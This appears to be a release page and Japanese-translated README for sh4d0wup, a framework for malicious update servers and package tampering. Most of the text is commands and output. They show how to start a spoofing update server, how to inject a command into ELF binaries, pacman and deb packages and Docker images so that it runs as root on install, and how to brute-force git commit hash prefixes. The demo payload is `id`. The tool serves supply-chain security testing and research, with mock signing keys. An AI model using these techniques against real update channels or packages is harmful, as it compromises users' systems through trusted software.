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New releaseAug 4, 2026

sh4d0wup v0.11.1

署名鍵の悪用とアップデートの悪用フレームワーク

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sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 シャドウアップデートとは？

ダウンロードしたアップデートが他の人と同じものか、それとも あなただけのために 作られた別のものなのか、考えたことはありますか？ シャドウアップデートとは、公式には存在しないが、有効な署名を持ち、クライアントに本物として受け入れられるアップデートです。これは、署名鍵がハッカーに侵害された場合や、正当なアクセス権を持つリリースエンジニアが悪意を持つ場合に発生する可能性があります。

sh4d0wup は、正規のサーバーの前でリバースプロキシとして動作する悪意のある HTTP/HTTPS アップデートサーバーであり、さまざまなアーティファクト形式に感染させ、署名することができます。攻撃は plots（プロット）で設定され、HTTP リクエストルーティングの動作、アーティファクトのパッチ/生成方法、署名方法と使用する鍵が記述されます。ルートには selectors（セレクター）を設定でき、たとえばユーザーエージェントがパターンに一致する場合や、クライアントが特定の IP アドレスから接続している場合にのみ一致させることができます。開発およびテスト用に、モックの署名鍵/証明書を生成し、信頼済みとしてマークすることができます。

🏗️ sh4d0wup 実行可能ファイルのビルド

Arch Linux の [extra] リポジトリにはビルド済みのバイナリがあります。Debian ベースのシステムでソースからバイナリをビルドするには、以下を使用してください（Ubuntu 22.04 でテスト済み）。

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 プロットのコンパイル

一部のプロットは他のものよりも準備が複雑です。ダウンロードやアーティファクトのパッチによる起動時間の長期化を避けるために、事前にプロットをビルドできます。これにより、署名を事前に作成することもできます。

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 プロットの実行

これにより、プロットに従って悪意のある HTTP アップデートサーバーが起動します。YAML ファイルも受け付けますが、起動に時間がかかる場合があります。

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

例はこちらにあります：

🪄 アーティファクトの感染

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

Gitコミットの部分衝突のブルートフォース

以下のワンライナーは、gitリポジトリから最新のコミットを取得し、それをsh4d0wupがインストールされたリモートコンピュータに送信して、コミットIDが指定された--collision-prefixで始まるように調整し、新しいコミットをローカルコンピュータのリポジトリに挿入する方法です。

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

これには時間がかかる場合がありますが、最終的に新しいブランチを作成するために使用できるコミットIDが表示されます。

git show 777754fde8...
git branch some-name 777754fde8...
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